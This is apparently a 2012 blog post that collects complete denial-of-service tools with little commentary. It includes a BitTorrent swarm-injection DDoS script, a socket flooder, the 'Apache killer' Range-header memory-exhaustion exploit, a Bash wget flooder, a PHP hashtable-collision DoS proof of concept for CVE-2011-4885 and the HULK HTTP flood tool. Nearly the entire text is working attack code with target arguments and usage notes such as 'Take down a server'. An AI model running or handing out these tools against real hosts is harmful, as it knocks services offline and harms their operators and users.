Sunday, November 4, 2012

SwarmDos.py

    #!/usr/bin/env python2.7
    #
    # bitDDoS.py
    #
    # Bittorrent Swarm ``DDoS Tool''
    # Injects target machine into large bittorent swarms
    #
    # no fucking idea if this works or not
    #
    from urllib import urlencode, unquote
    from urlparse import parse_qs
    import random, time, socket, threading, traceback, binascii, copy
     
    import requests # http://pypi.python.org/pypi/requests/0.14.1
    import hunnyb # http://pypi.python.org/pypi/HunnyB/0.1.0
    from bs4 import BeautifulSoup as BS # http://pypi.python.org/pypi/beautifulsoup4/4.1.3  
     
     
    class locking_dict:
        def __init__(self):
            self.data = dict()
            self._alock = threading.Lock()
     
       
        def __setitem__(self,k,v):
            self._alock.acquire()
            r = self.data[k]=v
            self._alock.release()
     
     
           
        def __getitem__(self,k):
            self._alock.acquire()
            r = None
            try:
                r = self.data[k]
            except:
                pass
            self._alock.release()
            return r
     
     
        def __delitem__(self,k):
            self._alock.acquire()
            try:
                del self.data[k]
            except:
                pass
            self._alock.release()
     
     
        def __contains__(self,i):
     
            r = self.data.__contains__(i)
     
            return r
     
     
        def __len__(self):
     
            r = len(self.data)
     
            return r
     
        def __iter__(self):
     
            r = self.data.__iter__()
     
            return r
     
     
        def __index__(self,i):
            r = self.data.__index__(i)
            return r
     
     
        def keys(self):
            r = self.data.keys()
            return r
     
     
     
       
     
    def _announce(ctx):
        """
       announce to trackers many "fake" seeds for many different torrents
       """
        qs = {
               'port':ctx['port'],
               'uploaded' : 0,
               'downloaded' : 0,
               'left':0,
               'event':'completed',
               }
        try:
            for tracker in copy.copy(ctx['trackers'].data):
                if tracker in ctx['blacklist']:
                    continue
                for ih in copy.copy(ctx['trackers'][tracker]):
                    if ih in ctx['bad_ih']:
                        continue
                    def f():
                        ctx['tries'] += 1
                        qs['info_hash'] = ih
                        qs['peer_id'] = ctx['peer_id']()
                        qs['ip'] = socket.gethostbyname(ctx['host'])
                        resp = ctx['get_url']('%s?%s'%(tracker,urlencode(qs)))
                        if resp is None:
     
                            return
                        try:
                            resp = ctx['decode'](resp)
                        except:
                            return
                        if 'failure reason' in resp:
                            ctx['error']('Tracker Announce Failed: %s'%resp['failure reason'])
                            return
                        elif 'warning message' in resp:
                            ctx['error']('Tracker Warning: %s'%resp['warning message'])
                            return
                        ctx['success'] += 1
     
                    ctx['fork'](f)
                    ctx['sleep'](.5)
        except:
            pass
     
     
     
     
    def _stats_loop(ctx):
        while ctx['on']:
            s = ctx['success']
            f = ctx['fails']
            a = ctx['tries']
            if f+s > 0:
                ctx['log']('%d / %d / %d  (%f %% success)'%(s,f,a,100*(float(s)/float(f+s))))
            ctx['sleep'](10)
           
     
     
    def _mainloop(ctx):
        """
       Mainloop
       """
        ctx['fork'](ctx['finder_loop'])
        ctx['fork'](ctx['stats_loop'])
        while ctx['on']:
            ctx['fork'](lambda : ctx['inject']())
            ctx['sleep'](60)
     
     
     
    def _log(ctx,m):
        ctx['log_lock'].acquire()
        m = str(m)
        for p in m.split('\n'):
            print ('[+] %s'%p.strip())
        ctx['log_lock'].release()
     
    def _error(ctx,m):
        ctx['log_lock'].acquire()
        m = str(m)
        for p in m.split('\n'):
            print ('[-] %s'%p.strip())
        ctx['log_lock'].release()
     
    def _fork(func):
        try:
            threading.Thread(target=func,args=()).start()
        except:
            ctx['print_error']()
     
     
    def _find_torrents(ctx,page_data):
        """
       given html, find all magnet links with at least 1 http based tracker announce url
       add new entries found to list to announce with
       """
     
        if page_data is None:
            ctx['error']('No Data given to torrent finder')
     
            return
        bs = BS(page_data)
        if bs is None:
            ctx['error']('Failed to Parse page data of length %d'%len(page_data))
     
            return
        for link in bs.find_all('a'):
            text = link.get('href')
            if text is None or len(text) == 0:
                continue
            if text.startswith('magnet:?xt=urn:btih:'):
                data = text.split(':')[3]
                for tracker in data.split('&')[2:]:
                    tracker = unquote(tracker.split('=')[1])
                    if not tracker.startswith('http://'):
                        continue
                    if tracker not in ctx['trackers']:
                        ctx['trackers'][tracker] = dict()
                    infohash = ctx['infohash_to_bytes'](data.split('&')[0])
                    if infohash not in ctx['trackers'][tracker]:
                        ctx['trackers'][tracker][infohash] = ''
     
     
    def _get_url(ctx,url):
        """
       Do an HTTP GET request with given a url
       """
        try:
            if not url.startswith('http://'):
                ctx['error']('%s is not an http url'%url)
                return
            if 'proxies' in ctx:
                resp = requests.get(url,proxies=ctx['proxies'],headers={'User-Agent':''})
            else:
                resp = requests.get(url,headers={'User-Agent':''})
            if resp is not None and resp.text is not None and resp.status_code == 200:
                return resp.text
            elif resp is not None and resp.status_code != 200:
                if not resp.status_code >= 500:
                    ctx['error']('HTTP %s'%resp.status_code)
        except:
            pass
        ctx['fails'] += 1
           
     
       
    def _finder_loop(ctx):
        while ctx['on']:
            ctx['scrape_torrents']()
            ctx['sleep'](3000)
     
    def _infohash_to_bytes(ih):
        ret = ''
        for n in range(len(ih)/2):
            ret+=binascii.a2b_hex(b'%s'%ih[n*2:(n*2)+2])
        return ret
     
    def _do_find_torrents(ctx):
        ctx['log']('Updating Torrent DB')
        ctx['blacklist'] = locking_dict()
        ctx['bad_ih'] = locking_dict()
        for url in ctx['urls']:
            ctx['fork'](lambda : ctx['find_torrents'](url))
            ctx['sleep'](1)
       
     
     
     
    def _rand(l,chars='1234567890'):
        ret = ''
        for n in range(l):
            ret += chars[random.randint(0,len(chars)-1)]
        return ret
     
    def init(ctx):
        ctx['on'] = True
        ctx['log'] = lambda m:  _log(ctx,m)
        ctx['error'] = lambda m: _error(ctx,m)
        ctx['log_lock'] =  threading.Lock()
        ctx['blacklist'] = locking_dict()
        ctx['trackers'] = locking_dict()
        ctx['bad_ih'] = locking_dict()
        ctx['success'] = 0
        ctx['tries'] = 0
        ctx['decode'] = hunnyb.decode
        ctx['finder_loop'] = lambda : _finder_loop(ctx)
        ctx['stats_loop'] = lambda : _stats_loop(ctx)
        ctx['infohash_to_bytes'] = _infohash_to_bytes
        ctx['peer_id'] = lambda : '-TR2720-%s'%_rand(12)
        ctx['inject'] = lambda : _announce(ctx)
        ctx['mainloop'] = lambda : _mainloop(ctx)
        ctx['get_url'] = lambda url : _get_url(ctx,url)
        ctx['scrape_torrents'] = lambda : _do_find_torrents(ctx)
        ctx['find_torrents'] = lambda url : _find_torrents(ctx,ctx['get_url'](url))
        ctx['print_error'] = lambda : ctx['error']('ERROR: %s'%traceback.format_exc())
        ctx['fork'] = _fork
        ctx['fails'] = 0
        ctx['sleep'] = time.sleep
        if 'proxies' in ctx:
            ctx['log']('Using Proxy: %s'%ctx['proxies']['http'])
        else:
            ctx['log']('!!! Using No Proxy !!!')
     
     
    if __name__ == '__main__':
        import argparse, sys, os
        p = argparse.ArgumentParser(description='Bittorrent Swarm Hijacker DDoS tool thingy')
        p.add_argument('--proxy',help='http proxy to use')
        p.add_argument('host',help='hostname or ip address of the target to attack')
        p.add_argument('port',help='tcp port to attack the target on')
        args = p.parse_args()
        if not hasattr(args,'host') or not hasattr(args,'port'):
            p.print_usage()
            sys.exit(0)
        urls = []
        for url in ['http://kat.ph/movies/','http://kat.ph/music/','http://kat.ph/anime/','http://kat.ph/books/' ]:
            for n in range(3):
                urls.append('%s%d/'%(url,n+1))
       
       
        ctx = {
            'host':args.host,
            'port':args.port,
            'urls':urls
            }
        if args.proxy is not None:
            ctx['proxies'] = {'http':args.proxy}
        init(ctx)
        try:
            ctx['mainloop']()
        except KeyboardInterrupt:
            ctx['log']('Interrupted')
            os.abort()
        except:
            ctx['print_error']()

(Python) DDoS simple

    #
    #       c0dex by:
    #        code64
    #
     
    import socket
    cLoop = 100000
    cIP = "127.0.0.1"
    cPort = 3444
    for i in range(1, cLoop):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((cIP, cPort))
        x = s.recv(1024)
        s.send("SERVER")
        x = s.recv(1024)
        m = x[16] + x[16] + x[17] + x[18] + x[19] + x[20] + x[21] + x[23] + x[24]
        readRequest = "infoesServer16"
        readRequest += chr(0xA7)
        readRequest += "127.0.0.1 / [127.0.0.1] : 3444"
        readRequest += chr(0xA7)
        readRequest += "PWN0R"
        readRequest += chr(0xA7)
        readRequest += m
        readRequest += chr(0xA7)
        readRequest += "0s"
        readRequest += chr(0xA7)
        readRequest += "Windows XP Service Pack 3 [2600] 32 bit"
        readRequest += chr(0xA7)
        readRequest += "x"
        readRequest += chr(0xA7)
        readRequest += "x"
        readRequest += chr(0xA7)
        readRequest += "DE"
        readRequest += chr(0xA7)
        readRequest += "DES"
        s.send(readRequest)
        s.close()

Apache killer -THN DOS

    #Apache httpd Remote Denial of Service (memory exhaustion)
    #By Kingcope
    #Year 2011
    #
    # Will result in swapping memory to filesystem on the remote side
    # plus killing of processes when running out of swap space.
    # Remote System becomes unstable.
    #
     
    use IO::Socket;
    use Parallel::ForkManager;
     
    sub usage {
            print "Apache Remote Denial of Service (memory exhaustion)\n";
            print "by Kingcope\n";
            print "usage: perl killapache.pl <host> [numforks]\n";
            print "example: perl killapache.pl www.example.com 50\n";
    }
     
    sub killapache {
    print "ATTACKING $ARGV[0] [using $numforks forks]\n";
           
    $pm = new Parallel::ForkManager($numforks);
     
    $|=1;
    srand(time());
    $p = "";
    for ($k=0;$k<1300;$k++) {
            $p .= ",5-$k";
    }
     
    for ($k=0;$k<$numforks;$k++) {
    my $pid = $pm->start and next;  
           
    $x = "";
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                             Proto    => 'tcp');
     
    $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    print $sock $p;
     
    while(<$sock>) {
    }
     $pm->finish;
    }
    $pm->wait_all_children;
    print ":pPpPpppPpPPppPpppPp\n";
    }
     
    sub testapache {
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                     PeerPort => "80",
                                             Proto    => 'tcp');
     
    $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
    print $sock $p;
     
    $x = <$sock>;
    if ($x =~ /Partial/) {
            print "host seems vuln\n";
            return 1;      
    } else {
            return 0;      
    }
    }
     
    if ($#ARGV < 0) {
            usage;
            exit;  
    }
     
    if ($#ARGV > 1) {
            $numforks = $ARGV[1];
    } else {$numforks = 50;}
     
    $v = testapache();
    if ($v == 0) {
            print "Host does not seem vulnerable\n";
            exit;  
    }
    while(1) {
    killapache();
    }

(Bash) DDOS Tool by Mycosis

    #!/bin/bash
    ##################################################
    ## Spammers Guide To DDOS   ##                   #
    ## Created by: Mycosis      ##    We <3 Linux    #
    ## Version: 0.3             ##                   #
    ## Last update: 2010-09-03  ######################
    ## Updated by: Mycosis (us-pata)                 #
    ## Url: https://sourceforge.net/projects/sgddos/ #
    ##################################################
    ## This script is intended for educational       #
    ## purposes ONLY! The developer team             #
    ## takes no responebility for any                #
    ## missuse of this given script.                 #
    ##################################################
     
     
    #---- Settings for SGDDOS ----#
     
    #How many times should the page get loaded?
    NUM=100
     
    #How many connections per sleepcycle
    BATCH=5
     
    #How many seconds beetween each sleep cycle
    SLEEPTIME=1
     
    #What site do you want to be the referer in your target's logs?
    REFERER=http://www.google.com
     
    #Enter your target URL
    TARGET=http://www.your-target.com
     
    #----------------------------------------------#
    #---- Do NOT edit anything below this line ----#
    #----------------------------------------------#
     
    echo Initiating wget procs...
    I=0 #Batch loop
    SP=0 #Spam
    while [  $I -lt $NUM ]; do
            let I=I+BATCH
            GL=0
     
            while [ $GL -lt $BATCH ]; do
                    let GL=GL+1
                    let SP=SP+1
     
                    # Target URL is specefied in the top of the script along with other settings
                    echo Spam number $SP has been initiated
                    wget -quiet --output-document /dev/null --referer="$REFERER" $TARGET > /dev/null 2>&1
     
            done
     
            if [ $I -lt $NUM ]; then
                    sleep $SLEEPTIME
            fi
    done
     
    echo Done calling $NUM wget procs!

(Python) Ddos tool by Christian Mehlmauer

    '''
    This script was written by Christian Mehlmauer <FireFart@gmail.com>
    Original PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
    CVE : CVE-2011-4885
     
    requires Python 2.7
     
    Examples:
    -) Make a single Request, wait for the response and save the response to output0.html
    python HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output
     
    -) Take down a server(make 500 requests without waiting for a response):
    python HashtablePOC.py -u https://host/index.php -v -c 500
     
    Changelog:
    v2.0: Added Support for https, switched to HTTP 1.1
    v1.0: Initial Release
    '''
     
    import socket
    import sys
    import math
    import urllib
    import string
    import time
    import urlparse
    import argparse
    import ssl
     
    def main():
        parser = argparse.ArgumentParser(description="Take down a remote PHP Host", prog="PHP Hashtable Exploit")
        parser.add_argument("-u", "--url", dest="url", help="Url to attack", required=True)
        parser.add_argument("-w", "--wait", dest="wait", action="store_true", default=False, help="wait for Response")
        parser.add_argument("-c", "--count", dest="count", type=int, default=1, help="How many requests")
        parser.add_argument("-v", "--verbose", dest="verbose", action="store_true", default=False, help="Verbose output")
        parser.add_argument("-f", "--file", dest="file", help="Save payload to file")
        parser.add_argument("-o", "--output", dest="output", help="Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w")
        parser.add_argument('--version', action='version', version='%(prog)s 2.0')
     
        options = parser.parse_args()
     
        url = urlparse.urlparse(options.url)
     
        if not url.scheme:
      print("Please provide a scheme to the URL(http://, https://,..")
      sys.exit(1)
     
        host = url.hostname
        path = url.path
        port = url.port
        if not port:
      if url.scheme == "https":
        port = 443
      elif url.scheme == "http":
        port = 80
      else:
        print("Unsupported Protocol %s" % url.scheme)
        sys.exit(1)
        if not path:
      path = "/"
     
        print("Generating Payload...")
        payload = generatePayload()
        print("Payload generated")
        if options.file:
      f = open(options.file, 'w')
      f.write(payload)
      f.close()
      print("Payload saved to %s" % options.file)
        print("Host: %s" % host)
        print("Port: %s" % str(port))
        print("path: %s" % path)
        print
        print
     
        for i in range(options.count):
      print("sending Request #%s..." % str(i+1))
      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      if url.scheme == "https":
        ssl_sock = ssl.wrap_socket(sock)
        ssl_sock.connect((host, port))
        ssl_sock.settimeout(None)
      else:
        sock.connect((host, port))
        sock.settimeout(None)
     
      request = """POST %s HTTP/1.1
    Host: %s
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)
    Content-Length: %s
     
    %s
     
    """ % (path, host, str(len(payload)), payload)
     
      if url.scheme == "https":
        ssl_sock.send(request)
      else:
        sock.send(request)
     
      if options.verbose:
        if len(request) > 300:
        print(request[:300]+"....")
        else:
        print(request)
        print
      if options.wait or options.output:
        start = time.clock()
        if url.scheme == "https":
        data = ssl_sock.recv(1024)
        string = ""
        while len(data):
        string = string + data
        data = ssl_sock.recv(1024)
        else:
        data = sock.recv(1024)
        string = ""
        while len(data):
        string = string + data
        data = sock.recv(1024)
     
        elapsed = (time.clock() - start)
        print ("Request %s finished" % str(i+1))
        print ("Request %s duration: %s" % (str(i+1), elapsed))
        split = string.partition("\r\n\r\n")
        header = split[0]
        content = split[2]
        if options.verbose:
        # only print http header
        print
        print(header)
        print
        if options.output:
        f = open(options.output+str(i)+".html", 'w')
        f.write("<!-- "+header+" -->\r\n"+content)
        f.close()
     
      if url.scheme == "https":
        ssl_sock.close()
        sock.close()
      else:
        sock.close()
     
    def generatePayload():
        # Taken from:
        # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
     
        # Note: Default max POST Data Length in PHP is 8388608 bytes (8MB)
     
        # entries with collisions in PHP hashtable hash function
        a = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)}
        # how long should the payload be
        length = 7
        size = len(a)
        post = ""
        maxvaluefloat = math.pow(size,length)
        maxvalueint = int(math.floor(maxvaluefloat))
        for i in range (maxvalueint):
      inputstring = base_convert(i, size)
      result = inputstring.rjust(length, '0')
      for item in a:
        result = result.replace(item, a[item])
      post += '' + urllib.quote(result) + '=&'
     
        return post;
     
    def base_convert(num, base):
        fullalphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
        alphabet = fullalphabet[:base]
        if (num == 0):
      return alphabet[0]
        arr = []
        base = len(alphabet)
        while num:
      rem = num % base
      num = num // base
      arr.append(alphabet[rem])
        arr.reverse()
        return ''.join(arr)
     
    if __name__ == "__main__":
        main()

Hulk DDOS Tool (Python)

    # Source: http://adf.ly/TWxk1
    # Infi-Zeal Technologies
    # Regards,
    # Hardeep Singh
    # ----------------------------------------------------------------------------------------------
    # HULK - HTTP Unbearable Load King
    #
    # this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
    # to their knees by exhausting the resource pool, its is meant for research purposes only
    # and any malicious usage of this tool is prohibited.
    #
    # author :  Barry Shteiman , version 1.0
    # ----------------------------------------------------------------------------------------------
    import urllib2
    import sys
    import threading
    import random
    import re
    #global params
    url=''
    host=''
    headers_useragents=[]
    headers_referers=[]
    request_counter=0
    flag=0
    safe=0
    def inc_counter():
            global request_counter
            request_counter+=1
    def set_flag(val):
            global flag
            flag=val
    def set_safe():
            global safe
            safe=1
           
    # generates a user agent array
    def useragent_list():
            global headers_useragents
            headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
            headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
            headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
            headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
            headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
            return(headers_useragents)
    # generates a referer array
    def referer_list():
            global headers_referers
            headers_referers.append('http://www.google.com/?q=')
            headers_referers.append('http://www.usatoday.com/search/results?q=')
            headers_referers.append('http://engadget.search.aol.com/search?q=')
            headers_referers.append('http://' + host + '/')
            return(headers_referers)
           
    #builds random ascii string
    def buildblock(size):
            out_str = ''
            for i in range(0, size):
                    a = random.randint(65, 90)
                    out_str += chr(a)
            return(out_str)
    def usage():
            print '---------------------------------------------------'
            print 'USAGE: python hulk.py <url>'
            print 'you can add "safe" after url, to autoshut after dos'
            print '---------------------------------------------------'
           
    #http request
    def httpcall(url):
            useragent_list()
            referer_list()
            code=0
            if url.count("?")>0:
                    param_joiner="&"
            else:
                    param_joiner="?"
            request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
            request.add_header('User-Agent', random.choice(headers_useragents))
            request.add_header('Cache-Control', 'no-cache')
            request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
            request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
            request.add_header('Keep-Alive', random.randint(110,120))
            request.add_header('Connection', 'keep-alive')
            request.add_header('Host',host)
            try:
                            urllib2.urlopen(request)
            except urllib2.HTTPError, e:
                            #print e.code
                            set_flag(1)
                            print 'Response Code 500'
                            code=500
            except urllib2.URLError, e:
                            #print e.reason
                            sys.exit()
            else:
                            inc_counter()
                            urllib2.urlopen(request)
            return(code)           
           
    #http caller thread
    class HTTPThread(threading.Thread):
            def run(self):
                    try:
                            while flag<2:
                                    code=httpcall(url)
                                    if (code==500) & (safe==1):
                                            set_flag(2)
                    except Exception, ex:
                            pass
    # monitors http threads and counts requests
    class MonitorThread(threading.Thread):
            def run(self):
                    previous=request_counter
                    while flag==0:
                            if (previous+100<request_counter) & (previous<>request_counter):
                                    print "%d Requests Sent" % (request_counter)
                                    previous=request_counter
                    if flag==2:
                            print "\n-- HULK Attack Finished --"
    #execute
    if len(sys.argv) < 2:
            usage()
            sys.exit()
    else:
            if sys.argv[1]=="help":
                    usage()
                    sys.exit()
            else:
                    print "-- HULK Attack Started --"
                    if len(sys.argv)== 3:
                            if sys.argv[2]=="safe":
                                    set_safe()
                    url = sys.argv[1]
                    if url.count("/")==2:
                            url = url + "/"
                    m = re.search('http\://([^/]*)/?.*', url)
                    host = m.group(1)
                    for i in range(500):
                            t = HTTPThread()
                            t.start()
                    t = MonitorThread()
                    t.start()